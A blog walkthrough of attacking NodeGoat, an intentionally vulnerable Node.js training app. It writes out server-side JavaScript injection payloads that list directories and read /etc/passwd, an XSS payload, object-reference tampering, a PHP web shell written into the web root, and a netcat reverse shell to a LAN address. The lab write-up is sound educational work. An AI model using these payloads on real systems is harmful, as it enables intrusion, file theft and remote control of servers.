NodeGoat

by Vince
in Blog
Hits: 1732

As a hacker security professional, I'm more of a generalist than a specialist and while I'm ok at web application security, I wouldn't tout my prowess in that area. 

A few weeks ago, I took a class specific for web app security because that area is so vast, I felt like I wanted to move further up the line by hiring a professional to teach me some things I don't know.  Two areas that I've spent little time banging around on are Node and Mongo.  Both were discussed in class but briefly.  To continue my education, I've been playing around with vulnerable Node apps on Github.  

NodeGoat is a vulnerable application built for the specific purpose of education and while you could go the route of using the Docker image, I would suggest going the manual installation avenue.  At least for me, I find it helpful to see both the front and the back-end.  The installation is not complicated.

After installing NodeGoat, I access the page on port 4000:






I give admin : admin a try but I don't think that's going to work:







And it doesn't.  But it looks like we can setup a user so let's try that:







After I create the account, I login and I check out the request in Burp:







This being Node, I was expecting to see something along the lines of:

{"username":username, "password":password}

But that's not the case.  

When we're logged in, we're presented with:

 





Clicking on the Allocations link, we attempt to inject:


' ; sleep(1000); '






Obviously, you can't see that the screen pauses before moving on which means we are capable of injection.

Next, we'll attempt to get a directory listing from the current directory:

res.end(require('fs').readdirSync('.').toString())







After hitting the Submit button:







Excellent!  Now let's see if we can read /etc/passwd:

res.end(require('fs').readFileSync('/etc/passwd'))






And after hitting submit:







Getting even better!

How about /etc/shadow:







No joy but not surprising given that we don't have the proper permissions but you have to try.

Checking out /home:

res.end(require('fs').readdirSync('/home/').toString())







And after hitting Submit:







Excellent!  Nothing of use for us in the home directory like .ssh keys so we move on the XSS for a brief detour.  

Editing the profile and adding our XSS:

<script>alert(1)</script>







When we refresh the main page:







We get our XSS popup.  

Moving on -- Direct Object Reference.  This is the trick I taught my wife.  When she sees the following URL, she's going to increment it to see what appears ahead or behind it.  

Clicking on Allocations, we see:






If we change /4 to /3:







We are now viewing the assets for Will Smith.  From /3 to /1:







Now we're seeing the Asset Allocation for Node Goat Admin.  

Let's get back to injection.  We think we can inject into this field, we'll test that by attempting to write into the file system:







From the server side, we query the directory:







We discover we are capable of writing into the file system. 

We're writing into the root of the Node directory.  If we're trying to access the files, we want to write into /assets/ because writing into the Node root directory is inaccessible.  This is Node and as far as I can tell, it's not recognizing the .php file extension but it can read other types including Javascript and HTML.  Since this server is also running Apache on port 80, I'm going to write into /var/www/html/ with some PHP. 

When we view the web port:







Writing a simple cmd execution script:

require('fs').writeFileSync('/var/www/html/cmd.php','<?php echo shell_exec($_GET["cmd"]); exit; ?>','utf8')







When we hit Submit:







We get an error but when we view the server:







We see that our file has been written.  Now let's execute a command:







Excellent!

It's all downhill from here.  Using the same method, let's write a reverse shell into the file system:

require('fs').writeFileSync('/var/www/html/shell.php','<?php echo shell_exec("rm /tmp/f;mkfifo /tmp/f;
cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.86.99 443 >/tmp/f"); ?>','utf8')








Again, hitting submit:







And again, receiving an error.  But we ignore the error and check out the page:







Our shell is uploaded.  With a handler setup:







Boom!